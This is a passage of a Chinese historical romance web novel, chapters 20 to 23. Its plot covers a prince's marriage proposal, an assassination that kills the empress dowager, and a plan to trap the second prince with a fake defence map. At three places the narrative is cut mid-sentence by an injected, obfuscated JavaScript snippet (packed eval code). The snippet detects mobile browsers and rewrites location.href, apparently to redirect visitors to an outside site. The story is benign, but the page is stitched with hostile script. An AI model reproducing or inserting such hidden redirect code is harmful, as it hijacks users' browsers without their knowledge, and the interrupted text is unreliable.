温雪收了笑,“好了,不闹你了。”
他定是有事来找自己,温雪收了逗他的心思,“子安,来府中找我,可是有何要紧事?”
容适被她这么一问,刚放松下来的心思又是一紧。
他们二人虽关系好,可他依然……害怕,害怕失去她,也害怕得到后再失去她。
“我想问你……”他按捺下突突跳的心脏。
看着温雪澄澈清亮的眸子,“想问你,可愿……愿与我结为夫妻?”
20. 第 20 章
容适看着温雪如明月般的眼眸,心中悸动。
“虽然我不够好,但是我会尽我所能,给你所有你想要的,我……”
他话还没说完,温雪忽然踮起脚尖,在他脸颊轻轻触碰,随即离开。
容适直接怔愣在原地,呆若木鸡,紧接着那抹红晕从他的耳尖,逐渐蔓延至脸颊、脖颈……
温雪伸手捧了他的脸:“呀,这么烫,不会烫熟了吧?”
“我……”
容适一下子说不出话来。
半晌,他才找回自己的声音:“你还没有回答我,你愿不愿意……”
温雪无奈:“看来是我白亲了,竟然这也不明白。”
容适觉得自己好像成了木偶戏里的提线木偶。
温雪看着他这呆呆的样子,不由笑道:“还没明白吗?看来我只能直说了……我愿意,我特别愿意。”
自从这辈子再次睁眼,她便一直期待这一刻了。
可容适还是不可置信。
他喃喃道:“可我,我会很小气,会不想你离开我身边……”
温雪道:“那我就陪在你身边。”
“我还会小心眼,会想要你的眼里只能容得下我一人……”
温雪道:“那我便只看你一人。”
容适不敢信自己听到的。
“你真的……愿与这样的我成婚吗?”
温雪受不了他,再次踮脚在他脸侧亲吻了一下,比方才更用力了一些。
“我说了,我、愿、意。”她强调道。
上辈子更强势、更冷冰冰的他,她都已然见过了,若说那时的他是一只凶狠的狼,那这一世的他简直就是一只温顺听话的小狗。
她还会怕他如今一个顺毛小狗吗?
温雪心中暗笑,看他如今这“温顺”的模样,忍不住抬手在他的头上轻轻摸了摸。
容适眼睛放大一瞬,眨眨眼:“你这是……?”
温雪速地收回手,掩饰道:“你头上有片花瓣。”
容适抬手想清理,温雪一把抓住了他的手。
“现在已经没有啦。”
容适轻声应下:“好。”
此时,一阵和风拂来,带着春风的诗意,吹落了几片花瓣。
没过几日,就从宫中传来了一道婚旨,将温雪赐婚于四皇子容适,于三月后完婚。
对于此事温家一点不觉得稀奇,顺理成章地便接了旨意,开始热热闹闹地准备婚事。
“哎,真是没想到妹妹居然这么早便要定了亲要嫁人了,分明感觉不久前你还是个不懂事的小姑娘呢。”温珩看着温雪试婚服的模样,打趣道。
温雪娇嗔道:“哥,我何时有不懂事过。”
温珩宠溺地笑笑,而后收敛了笑意,“雪儿,我知道你与四殿下情投意合,可你要嫁的毕竟是皇家,从今往后还得万事小心。”
温雪也明白哥哥的意思,应声道:“我明白。”
她曾被困于深宫之中,直到死去后才明白,其实困住她的,从来不是深宫的围墙,而是她自己。
所以这一次,她不会逃避,她会直面那道围墙,并且跨过去,追求自己想要的一切。
太子府门口。
侍卫立于门口,见到来人,恭敬行礼。
“见过四殿下。”
容适点点头,迈进太子府之中,然而刚走没几步,便遇上了某张熟悉的、不该出现在这里的面孔。
出于礼节,他淡淡唤了声:“二哥。”便面无表情地准备路过,容治却伸出手,拦住了他的去路。
容治侧目看过来,语气慢条斯理。
“恭喜四弟,即将迎娶温家千金温雪,那温姑娘可真是一个秀丽又聪慧的妙人呢。”
他嘴角上扬,扯出一个意味不明的笑,“二哥我可是追求温姑娘许久未果呢,我向父皇请旨赐婚,父皇拒绝了我,转头却应了四弟……四弟最近还真是受父皇喜爱。”
容适冷冷看他一眼,依然不想理会他。
容治抬手拍了拍他的肩,“若是哪日温姑娘要离开你,我可是还要找机会抢过来的。”
容适听闻此话,脸色瞬间阴沉,伸手用力抓住他放在自己肩上的手腕,从自己肩上拿开,极为不舒服地拍了拍肩,仿佛被他碰过之处有什么赃物一般。
他语气冷冽,眼神仿佛淬了一把冰刃。
“二哥放心,永远不会有这样一天的。”
容适不想与他废话,转身离开。
容治转身走出太子府门,停下脚步,回头看了眼这太子府邸关上的大门。
他暗道:如此激怒他,他竟也能忍住,看来他这一年时间当真是转变极大,进步了许多。真是讽刺,哪怕太子这个草包什么都不做,便又多了一个保着他的人。
看来,须得尽快动手了……
太子府庭院之中,春意盎然,一派生机勃勃。
一名身姿曼妙的女子,正伴着庭院中的袅袅琴音翩翩起舞。
这女子十分眼熟,正是之前有过一面之缘的素歌。
容适不甚在意地看了一眼,便将目光落在了正在抚琴的太子容钦身上。
容钦正感叹,终于送走容治这瘟神,可以好好抚一会儿琴,看素歌姑娘跳会儿舞,正落座不多时,他便抬头见到又一弟弟来访府中。
容钦只得又停下抚琴的手,朝容适道:“四弟来了。”
容适行了一礼,“臣弟见过太子兄。”
“你我之间,何须如此多礼。”
容钦放下琴,起身落座到一旁亭子中的石板凳上,给容适倒了一杯茶。
容钦举杯,笑笑道:“我还要恭喜四弟,即将喜结良缘,抱得美人归。”
他似喝酒似的,一口饮了茶,“四弟可得好好珍惜,能与心爱之人长相厮守,那世间难遇的幸事。”
他一边对容适说,一边目光流连地看着退下的素歌的背影,似乎话中有话。
他想,若非这太子之位,或许他也可以寻得一真心相爱的女子共白首吧。
容适奇怪地看了一眼容钦。
若是其他人见了,大约会忍不住感叹,这还是第一次见京城之中风流盛名远扬的太子爷脸上露出这样的神色。
容适直接开口:“大哥,你心悦素歌姑娘?”
容钦一愣,苦涩笑笑。
“如此明显?连你这小呆子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455086|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也看得出来?”
容适:“……”
容钦又笑笑,“哦我忘了,四弟已经并非过去那个小呆子了。”
容适垂眸,有些不想理她。
只是又不得不理他。
“大哥,你已多日不去朝堂和太学府,再不去,父皇又要怪罪于你。”
容钦无所谓地笑笑,“你也来做说客?”
“也?”容适心下了然,看来容治亦是得了父皇的授意,来叫太子兄入朝。
他冷色道:“只怕二哥并非真心来规劝你。”
“是否真心,我自然知晓。”
容钦挥开折扇,漫不经心地扇着风,“你在朝堂上与二弟的那些事我已经听说了。”
世人皆知太子殿下对朝政之事无甚兴趣,总是找借口理由推脱上朝,因此朝堂上不见他的踪影。可他对朝堂政事也并非全然不知。
只是有些事,他即便知道,也想装作不知道。
“容治想对我做什么,我不在意,只是他心思已然昭然若揭,只怕你与温姑娘的婚事,也不会如此顺利。”
容适不语,只是拳头握紧了些许,又忍住松了松。
他沉声道:“我知道,所以,我必须尽快成为那个能护住身边之人的人。”
容钦闻此言,笑了笑,直直看着容适闪烁着坚毅的眸光。下一刻,容适便抬起眸子,又直直看了回来。
容钦心中暗叹,一年多以前,他可还不敢与人如此对视,多看一眼便要逃跑的。看来这一年,他实在成长许多。
忽然心中暗生大胆的想法。
“四弟,若你是太子,该多好。”他陡然开口。
这令容适刚拿起茶的手一顿,热茶洒出了些许。
容适乌黑的眼眸,探究地落在他身上。
正如容钦从来无法理解他一样,他似乎从来也没有理解过这位大哥,他究竟想要什么。
京城之中的人,明面上不敢多说什么,私下里却盛传太子爷不过一草包,“潦倒不通世务,愚顽怕读文章”,只爱女色风月,是个腹中草莽之人。
可这一年来,容适与他接触下来,却觉得京中之人怕是都看错了他。
容适放下茶,淡然起身,行了一礼。
“大哥莫要胡说的好,若无其他事,臣弟便先告辞了。”
说完转身离去,容钦却收起扇子,看着他的背影大声道:
“四弟若是想通了,记着来寻我相商。”
*
天启皆知,太后信佛。
每年开春之时,太后有个习惯,便是去大铭寺礼佛,为天启祈福,今年亦是如此。
只是太后年事已高,攀登大铭寺甚是不便,皇帝便提议,让容适伴在太后身边,共赴大铭寺祈福三日即可。
临婚期还有月余,容适惦念着与温雪的婚事,太后便提议,让温雪共去,也恰好让二人有个伴。
对此,温雪很是乐意。
按照习俗,他们大婚迎亲之前半月,便不可再见面,那不如趁着如今有机会时,再多相处一些时日。
这一日,风和日丽。
一支车马从京城之中出发,朝着南山的方向进发。
21. 第 21 章
林间风动,一行人踏过溪流山涧,行至山腰阶梯之处,便听寺庙钟声传来。
“咚,咚——”荡涤山林,悠远绵长。
温雪自马车内拉开帘子,往外头瞧了瞧,便看见了林子深处冒出来的高高的大钟。
他们在寺院附近停了马车,院门口已站着住持与几位僧人。太后年年来大铭寺祈福,因此他们也年年来此等候迎接。
大铭寺住持道常大师一手持着锡杖触地,一手立于胸前结法印,躬身道:“贫僧恭迎太后陛下,四皇子殿下与温姑娘。”
“道常大师,庙堂之上无需遵循此等繁文缛节。”太后上前回礼道。
“是,几位施主,请随我来。”
会过面后,他们便随僧人一同入了内院。
内院清净,香火气息环绕,几位僧人正扫着院中落花,还有几位在院内擦地、清理佛像。
按照往常习俗,太后将于大铭寺留宿七日,虽说是祈福,但并不是如何繁复的流程,除第一日有些沐浴焚香的礼节外,后几日多是每年如一日的晨钟暮鼓,吃斋念佛。
白日时,太后便与道常大师及弟子们一同打坐,为天启诵经念佛,祈求安宁。
温雪和容适是第一回来大铭寺,与众弟子们一同诵完经,便随着一位小僧人在寺院之中四处走动。
寺院前后有许多殿,供奉的都是不同的佛象,小僧人一一介绍过去,直至路过一满目春色的大池,池里头立着一块大石,写着“放生池”。
小僧人驻足道:“此地为放生池,偶有百姓来此放生,积攒功德。夏日便会莲花映日,风光别样。”
碧波荡漾,夏季未到,此时正是一片片莲叶鲜嫩之时。
温雪好奇看去,却眼尖地见到了满池绿水中,有一朵别样的娇粉色。
“那是何物?是莲花吗?”
他们仔细一瞧,那放生池中,竟是开了一朵并蒂莲花。
“咦”,小僧人疑惑了一声,喃喃道:“这个时节怎会开花?还是朵罕见的并蒂莲,昨日分明还未见呢。”
转而笑了笑,朝温雪与容适道:“并蒂莲是并蒂双生之意,二位施主刚到访我佛门,这池中便生了并蒂莲,二位定是有福缘之人。”
温雪心道,听闻莲花有转世轮回之意,还当真是灵性,她一来,便见到了莲花开。
那并蒂莲双生莲花又是何意?是预示她与容适重来过后的美满结局吗?
若是如此,便太好了。
她看向容适,眉眼含笑,“子安,看来这是个好兆头。”
容适望向她,一下明白了她说的是什么。
他们的婚期……距今只剩一个月了。很快,他们偏要结为真正的夫妻了。
思及此,他难耐唇角的笑意,点头轻应了一声。
路遇并蒂莲花开,乃是此行遇过最妙之事。
一直到离寺那日,一行人准备拜别住持与僧人。
道常大师却道:“阿弥陀佛,几位施主这几日为百姓颂文祈福,贫僧愿赠几位施主一支签文,施主可有求签之意?”
温雪与容适相看一眼。
太后听闻喜上眉梢,“道常大师亲自解签,很是难得,你们不如便求一支签吧。”
小僧人递来一个签筒。
温雪其实不大信这些,但心想自己不好拂了道常大师的面子,便拿起签筒晃了晃,抽出一支签来。
竹签上写的是个签号。
“第十八签。”温雪道。
小僧人按照签号去取签文,温雪便将签筒递给容适。
容适接过,却迟迟未动手抽签。
他思索一阵后开口道:“我便…不抽了罢。”
“为何?”
“来日不可追,去日不可留。”
温雪笑笑,是了,她也是如此想的,命运若掌握在自己手中,那么结局如何,都应是自己谱写。
“那我也随子安一起,不看签文了。”温雪对太后道:“太后娘娘可要求一张?”
太后亦摇头,“我一把年纪,生死都看淡,又何必纠结一纸签文。”
道常大师看着几人,摇头笑了笑,“几位施主乃是通透之人。”
转身对已拿着取到的签文过来的小僧人道:“那签文,便不必看了。”
小僧人应下,捧着签文退到一旁,忍不住心想,这世上竟有抽了签也不愿解签之人。
直到温雪一行人坐上马车离去之后,小僧人才一时好奇,偷偷将那一纸签文取出打开。
看见签文上面的内容,瞬间大惊失色,错愕了半晌,才忍不住看向道常大师。
“住持,此签……乃是大凶之意。”
半晌,道常大师轻叹了口气,阖眼道了一声:“阿弥陀佛。”
…
林中,温雪容适与太后三人同坐一辆马车内,往京城赶去。
闲来无事,说起方才三人都放弃求签之事时,温雪对太后笑道:
“太后娘娘福运七天,自是无需求签。”
太后目光柔和,露出浅浅笑意,“雪丫头真是越发会说些甜言蜜语了,这些话往后便多教导教导子安,让他也学着点。”
温雪看向容适,他无奈笑笑,“皇奶奶莫要打趣我。”
此时,马车外传来一声惨叫,再是一声重物坠地之声。
太后惊叫一声:“发生了何事?”
容适撩开车帘一看,是赶马的车夫已然身中一箭,从车上坠落。
众人立刻反应过来:“有刺客!”
容适来不及细想,翻身来到马前,拎起栓马的绳子,捡起马鞭,抽在了马身上。
那马长啸一声,甩起马蹄便往前行。
温雪护着太后,一边嘱托容适:“子安,当心!”
容适策马长驱,本该远离刺客,附近却忽然传来一串脚步声,自远而近。他抬头看去,只见几个全身伪装得严实的黑色身影,步履飞快,绝非普通刺客的身手。
期中一名刺客见快要追不上他们,再次从身后掏出弓箭,快准狠地往容适的方向飞来一箭。
容适一个躲闪,飞箭未射中他,却射中了马。
马一受刺激,扬起前蹄,开始癫狂起来,直接将挣脱了束缚,车身被掀翻在地。
温雪与太后摔倒在地,痛呼一声。
容适赶紧打开车门的帘幕,将温雪和太后扶起。
太后刚被温雪扶着身子,半躺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467401|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在地,便见到林中一道反光闪了一下,她心中警铃大作,猛地起身搂住了容适与温雪,挡在了二人身前。
一支飞箭夺空而出。
“皇奶奶!”
“太后!”
太后闷哼一声,一支长箭深深进入她的后背,她唇角隐隐留下一丝鲜血,还想对二人说些什么,却没能说出口便失去了意识。
林中那人举起弓,还想再来一箭,谁知又一阵声势更大的动静,刷刷的脚步声和马蹄声响起。
“他们在那!先救人!”
“刺客要跑了,快追!”
来的是一群武装完整的训练有素的精兵,而牵头之人竟是太子。一声令下,精兵去往林中追逃窜的刺客。
太子翻身下马,见到眼前的场景,神色肃穆,惊慌地跑到太后跟前,“皇奶奶!”
容适颤抖的手正捂着太后背上的伤口,手上一片鲜血,染红了人的双眼。
林中一片混乱,惊起了一丛丛飞鸟。
*
一月后,尚书府。
温雪一身白裙,呆呆坐在院中,听着院外传来的丧葬礼乐之声。
那日在大铭山脚下,太后身中一箭,回到京城之中便已没了呼吸。太后故去,享年七十,举国哀悼。
那日林中的刺客只抓到了一个,据说已然服毒自尽,根据内衬服饰判断,有一定可能是北辽之人,潜伏在林中趁乱袭击天启皇亲。其他刺客均已逃跑,再无其他活口的线索。
根据天启礼法,太后出殡后还需五品以上官员与皇子一同悼念,温廷作为尚书,也需得出席。
容适作为皇子,忙于丧葬之礼,与温雪也已经多日未见。
今日便是这丧礼的最后一日。
可今日,本该是温雪与容适的大喜之日。
按照礼节,容适需得守孝一年,方可举办婚仪。
喜事变丧事,温家上下都不好过。
温珩见温雪已经多日神色落寞,他走到温雪身侧,安慰道:“雪儿,别忧思过度了。”
“虽说你们的婚事办不成了,但婚书已经签了,你已经算得上是准皇妃了,这婚仪,一年后再补也不迟嘛。”
温雪不动,也没什么表情,轻声道:“我不是担忧这个,我是担心子安,他从小到大,身边只有太后对他好,如今太后却是这样的方式故去……”
容适幼时,生母在他面前自缢身亡,如今又亲眼目睹最亲的太后在面前被人杀害……
她经历过失去亲人的苦痛,知道这是怎样的滋味。
温珩动了动唇,一时间不知该说什么,安慰似乎也是徒劳,只好道:“刺杀一事……太子和四皇子两位殿下定会查清楚的。”
此时,怀秋走进来,“小姐,少爷,老爷回来了。”
温雪和温珩赶忙出去迎接。
“还有两位殿下也来了……”怀秋又看着二人背影补充了后半句。
院中,温廷和两位皇子,身着素裹,一同来了府上。
温雪见到了容适。
容适也抬眸看过来,眼中是说不出的复杂。
他低声唤了一声:“雪儿。”
似乎有许多话想说,却说不出口。
22. 第 22 章
二人又站在了那棵桃花树下。
三个月前,是桃花正旺之时,如今已入初夏,桃花早已凋零。
温雪抬眸看着容适的脸,他如今的模样有些憔悴,唇色有些泛白,目光黯然失色,瞳孔内微微有些血丝泛红。想来是查案与丧礼两头奔波,熬了不知多少个夜。
温雪抬起手,轻轻抚上他的脸庞,容适也伸手覆在她的手上。
今天的初夏温热得比往年早些,他的手却是透着凉意。
她有些心疼,可“逝者已逝”这样安慰的话她说不出口,只得动了动指尖,在他的脸上轻轻蹭了蹭,表示安抚。
容适明白了她的意思。
他一向不大将情绪展示在脸上,可今日,他却有些绷不住。
这一个月,他日夜煎熬,愧对于太后,也愧对于温雪。
他分明是想做到最好,想成为那个能保护重要之人的人,可到头来,他没能保护好皇奶奶,也辜负了温雪。
若是他足够强大,足够有城府,那今日这样的事便不会发生。
今日,本该是他和温雪的大喜之日。
“雪儿……对不起。”
他有无数话想对她说,可看着她清澈的,永远充满希冀的目光,他说不出话来。
这几日,他始终反复在想,他失去了皇奶奶,若是再失去温雪,他该如何是好?
一想到这,害怕、恐惧、担忧、焦躁……所有复杂的情绪,似乎汇聚成无尽的黑雾,笼罩在他心间,将他拉入深渊。
“是我的错,我还是太弱小了……”
话还没说完整,温雪在他脸上的那只手动了动,她伸出一根手指,置于他的唇上,温热的触感传向他微凉的唇。
他顿时噤了声,眼眸颤了颤。
温雪温声道:“子安,你已经做得足够了。”
自小被群嘲欺辱痴傻的异于常人的少年,仅仅一年,便已可以足够立于朝堂,惊才艳艳。或许无人知晓,也无人在意,他在背后需要付出多少努力。
“嗯。”面对温雪的宽慰,他轻应了一声。
可是,他知道,不够。远远不够。
他虽应了声,温雪却读懂了他眼中的不甘。
她恍惚间,想起了上一世,她失去家人,在漫天大雪的皇城外,为平冤屈,整整跪了两日。
他为她披上大衣,从雪地里将她捞起,看着她从歇斯底里,到形容枯槁,他从未说过任何安慰的话。
或许是不善言辞,或许是知道,安慰的话说再多都是徒劳,所以他选择了自己默默强大,强大到足够可以保护她。
可她从未懂他。
温雪收了原本想说的那些安慰的话。
她向他走了一步,离他更近了一些,踮起脚尖,阖眼偏过头,在他的唇上印下一个轻吻。
柔软温暖的触感袭来,容适猛然瞳孔一缩,仿佛一下子被人从深渊之中拖了出来,眼前漫无边际的黑暗消失,只剩下面前温雪绯红的脸颊,和含羞躲闪的眉眼。
他刷地脸色泛红,苍白的面色瞬间有了血色。
“雪儿,我们还未曾拜堂……”
温雪又是踮脚,在他唇上印上一个吻,封住了他的话。
正是十几岁的少年,感受着心中悸动,容适想回应,却又一动不敢动,只能乖乖闭上了眼。
这一次,温雪半晌才移开。
“未曾拜堂又如何?难不成你不打算与我成婚了?”
“当然不是,我的妻子只能有你一人。”容适急忙反驳。
况且,离不开对方的人,是他。
是他更害怕,如若他不够强大,温雪会不要他。
温雪笑了,“那不就好了?婚书已定,你是注定丢不下我了。”
她搂住他,在他耳侧轻声道:“在我心中,我们早已是真正的夫妻。既然是夫妻,自然是要共患难的。”
容适回搂住她,埋在她的颈间。
“你为何要对我这样好?”
她对他这样好,越是这样,他就越是难以放手,越陷越深。
温雪心道,自是因为他已经用一世的悲剧,来换得了自己的信任与深情。只是他永远无法知道了。
她自诩不是什么用情至深之人,在遇上他之前,她未曾对任何人动过什么真心,可看过他的情深意切,感受过那浓烈到可以生同衾死同穴的爱意,她竟是为之触动了。
“大概是因为,一瞬触动,便在我心中留下了烙印,挥之不去了。”她回答道。
“是哪一瞬?”容适好奇。
温雪神秘地笑笑,“秘密。”
温雪拉着他转移话题,“他们还在等我们呢,我们回去吧,你和太子殿下一同前来,定是还有要事相商吧?”
容适点头,“是关于此次刺杀案的事。”
温雪心下了然。
“我们一起,定能查出真相,解决幕后之人,为太后报仇。”
她语气笃定。这一刻,容适一扫这一月来的阴霾。
他的雪儿,总是如此勇敢大胆,坚毅乐观。只要有她在身边,似乎就能面对所有苦难。
仿佛他想做什么,她都会做那个可以支持他的人。
前院正厅。
太子正与温珩相商,便见到容适与温雪二人携手回来。
看来婚事延期并未影响二人感情,四弟的状态如今看来也好了许多,他心中微微松了口气。
温雪与容适一同落座。
温雪率先开口道:“这一桩刺杀,想必各位已经探查出了些许端倪,可否让我知晓?”
“自然。”太子应道。
“你们自大铭寺回京那一日,我收到皇城司紧急来报,北辽派出了一批刺客潜伏天启,于你们回京路上下手。”
“于是我召集了一批禁卫军,快马加鞭赶来营救,只是没想到还是晚了一步。”
那些刺客身手十分了得,将他们一行人队伍随行的侍卫丫鬟几乎都射杀了。
禁卫军赶来后,朝刺客逃窜的方向追了一路,最后只找到了一个已经服毒自尽的刺客尸首。
他们查了那尸首,外形看不出是哪里的人,但是从服饰内衬来看,应当是北辽的人无疑。
容适接着正色道:“然而,我查看了皇奶奶身上那一支箭,与其他人身中的箭所造的箭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471242|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头并不相同。”
“其他人身中的箭没什么特别,都是普通的柳叶形箭头,可唯独射杀皇奶奶的那一支箭,是四棱锥形箭头,且锻造的工艺与材料,要比其他的细腻数倍。”
温雪闻及此,几乎是立刻反应过来:“那是我朝兵部或是军部才用的箭。”
天启面对夏辽威胁,为抵御外族,所以特意设计了这样的箭,这是外族没有的工艺。
可若是北辽刺客,怎么会用这样的箭?
是为了嫁祸,撇清关系?还是当真有天启之人从中作祟?
温雪与父兄二人互相对视一眼,似乎都心下有了想法。
温雪沉声道:“是二皇子。”
太子投来沉重的目光,“大家都这般认为?难道二弟当真已经走到如此地步了吗……”
容适没什么表情变化,似乎心中也已有答案。
温廷叹了口气,将他们怀疑二皇子早已与定北侯勾连一事全盘托出。
而众人,似乎也并不惊讶。
容适道:“自上次土地税收一事后,我与温大人一同查了三司使背后的财路,那些不义之财,大多以赈灾补助的名义转移到了北部定北侯的封地。”
二皇子一向自视甚高,他那些动作做得再谨慎入微,也并非天衣无缝。
可是温雪却有些不解。
“如若真是二皇子所为,那他针对的是谁,是子安吗?如若他所求是皇位,不应该针对太子殿下吗?”
太子殿下闻言讪讪道:“或许是我身边常有精兵保护,在皇城之中不好下手吧。”
“也或许……他就是不想让你们二人顺利成婚。”
无论是为何,他手段狠厉已是事实,当前的时局也都朝着对二皇子有利的方向发展。
现下若是追查不到与二皇子有关的证据,阻止他下一步行动,他们便始终处在被动之中。
太子蹙眉,“不知二弟下一步计划是什么。”
“恐怕已经离谋反不远,只是我朝一向轻武,若是定北侯当真起兵攻城,即使是做好了周全的防备,也难以确保防范能万无一失。”
此时,温廷似乎是想到了什么事,犹豫着开口道:“臣有一事……不知当不当讲。”
“何事?尚书大人但说无妨。”太子道。
“一年前,小女擅闯太学藏书阁被二皇子殿下抓住那件事,四殿下可还记得?”
温雪眨巴眨巴眼,想起了当时她和容适一起爬进太学围墙的样子,和容适对视了一眼。
容适也是立刻想起了那时的事,不由嘴角扬起了一瞬。
“记得。”
可惜,他们刚进藏书阁没多久,便被带走了。
当时温雪便觉得此事蹊跷,有诸多疑问,只是父兄似乎都没有再多提及此事。
温廷道:“此事涉及内阁机密,因此未向各位提及。”
他解释道。
太学并非只是一个学府那般简单,太学内部还有一内阁机构,专门负责探听各类情报,解决一些无法在明面上处理的问题,据说还有一支极其优秀的皇家暗卫。
此事只有皇上和几位重臣知晓。
23. 第 23 章
北辽表面言和,实际有意寻找时机攻打天启各城。这几年北辽派出了多名暗探与刺客潜伏天启,在皇城作乱。
据内阁消息,北辽有人在皇城之中寻找天启兵部城防图的下落,一但真让辽人找到,后果不堪设想。
于是,皇上下令,制作了一份假的城防图,并放出消息,这城防图就在太学之中藏匿着,好让辽人的暗探来盗取,再趁机抓人。
这件事被交给了二皇子去做,可是最后那城防图不翼而飞,北辽来盗取城防图的暗探也没有抓到。
城防图是假一事只有几位制作假城防图的大臣知道,就连太子和二皇子都不知道。
如若二皇子以为城防图为真,那么监守自盗也并非不可能。
温雪却有些疑惑,她觉得事情并不是如此简单。
“二皇子殿下当时火急火燎地抓人,还要亲自抓我过去审问,看起来当真是知道东西失窃了,并不像是监守自盗。”
太子轻咳一声,摸了摸鼻头,道:“或许……这假城防图当真不是二弟偷走的呢?”
众人目光落在太子身上,多少有些探究与好奇。
温雪问:“太子殿下,可是知道失窃的城防图的下落?”
太子欲言又止,最终还是开口:“是……我大概知道是被谁拿走了。”
“是北辽暗探吗?”
“她的确是辽人,但已并非暗探,她……如今只是一个普通女子。”
“那假城防图现在何处?”
“在我府中。当时我不知城防图是假,便先留在了府中。”
太子有些心虚,与容适对视了一眼,眼中带着一丝恳求,似乎是在拜托容适不要乱说话。
虽说他从未告诉过容适此人是谁,但论容适对他的了解,恐怕此刻应该已经猜到了。
容适淡淡地移开了目光。
温雪看着二人神色,心下了然,太子殿下约莫是不想暴露对方的身份,因此才隐瞒了此事未曾上报,只当那图是丢了。
此人定然是他们都认识和知晓的人。
“那太子殿下,还是尽快将那假城防图毁去,莫要让有心之人利用。”
太子点头应下了。
众人十分识趣地没有再追问此事。
温雪也立刻转移了话题。
“既然我们已经知晓,二皇子有极大概率勾结定北侯,并想要谋取那城防图,意图起兵谋反,夺权篡位,那不如……我们顺水推舟,将计就计,如何?”
此言一出,众人转而将视线落在了温雪身上。
容适亦然,眉眼微带笑意:“雪儿可是想利用城防图一事,引蛇出洞?”
见他几乎是立刻十分默契地明白了自己心中的想法,温雪笑了笑,点点头。
其他人道:“具体如何安排?”
温雪将自己心中想法告知众人,一番商议后,便有了计策。
商议了约两个时辰,太子一行人便要拜别离府。
温雪跟容适并肩走在后头,二人垂落的长袖微微摩擦,指尖也有意无意地微微相碰,温热的触感传来,容适忍不住勾了勾温雪的小手,勾完便想松开手,却猛然间反被她给捉住了。
温雪抓着容适的手,靠近他的耳侧,悄声道:“方才你与太子殿下当着我的面眉来眼去,可是有事瞒着我?”
容适瞬间瞳孔收缩了两分。
“何时有眉来眼去?”
“哦,没有眉来眼去,便是有事情瞒着我咯?”
容适瞬间耳尖微红,“不是……”
“所以那名盗走城防图的女子,应当是我们认识之人?”
“是……”
“让我猜猜,听闻此前太子殿下招揽了一位名动京城的青楼舞姬入府,与太子殿下的说辞恰好能对上……所以,盗图之人可是那位我们曾经遇见过的素歌姑娘?”
太子爷风流倜傥,将青楼舞姬纳入府中,日夜抚琴相伴。太子爷的风月之事,普通百姓不敢妄议,却还是传入了不少高门子弟耳中。
容适抿了抿唇,点头,“其实,我与你一样,也只是猜测,只是大哥的反应告诉我,我们的猜测是对的。”
虽说素歌姑娘不是天启人,但既然太子殿下信誓旦旦,且容适信得过太子殿下的人品,那他们便相信这位素歌姑娘不会害了天启。
想起方才容适的反应,温雪忍不住低头笑了一声。
“子安,你可知你……当真不会说谎。”
方才被她有意质问那两下,直接让他脸色都变了。
容适却是有些无奈,“那只是对你一人而已……”
他面对温雪,总是束手无策、无可奈何的。
*
太子府。
容钦下马车,迈入府内径直走进庭院之中。
素歌身着素色长裙,衣袂飘飘,不做舞姬打扮,便衬得她眉眼清冷。她手执一木质水壶,正在给院中的花草浇水。
抬眼见容钦回来,便放下水壶,行至茶亭内,拿起桌上的茶水,倒了一杯茶。
容钦刚落座,素歌便递上茶。
她温声道:“太子殿下在宫中操心太后丧仪,多日未回府中,想必很是辛苦,喝杯茶歇息一番吧。”
容钦拿起茶饮了一口,眼眸微闪,“多日未见,可曾挂念本殿下?”
“自然。”素歌顺势答道。
然而,容钦望向她的眼底,却仍是暗藏疏离,毫无情意。
他想起了一年前。
画舫青楼,烟花巷柳,夜夜歌舞升平。
容钦常往来于此。
有一回,他故意想戏弄一下总是不苟言笑、不善交际的四弟,于是有意带着容适去画舫青楼看舞姬跳舞。
那日青楼里,来了一位他未曾见过的舞姬。
这名舞姬名唤素歌,一身红衣胜火,娇媚却不讨好,尽显自由放纵之感,双足轻点,翩翩起舞,令人知晓了什么叫翩若惊鸿,婉若游龙。
她身形款款,走下了舞台,却略过他,走向了他的四弟,连眼神也未曾给他一个。
于是他装作毫不在意的模样,甚至忍不住嘲了两句他这性格木讷的四弟。
然而没过多久,四弟便被一女子带走了,只留下素歌姑娘一人站在原地,饱受男子注目。
她却对自己的尴尬处境不甚在意,只是婉转地笑了,转过身翩然离去。
仍是眼神也不给他一个。
容钦心中暗暗自嘲一番,却是忍不住离席而去,翻过层层障碍,偷偷进了画舫后台,脚步停在了素歌房间的窗棂外。
透过纸糊的窗户,烛光照过来,能瞧见一道美人的身影。他呼吸一滞,转身靠着墙,心中暗骂自己怎的做
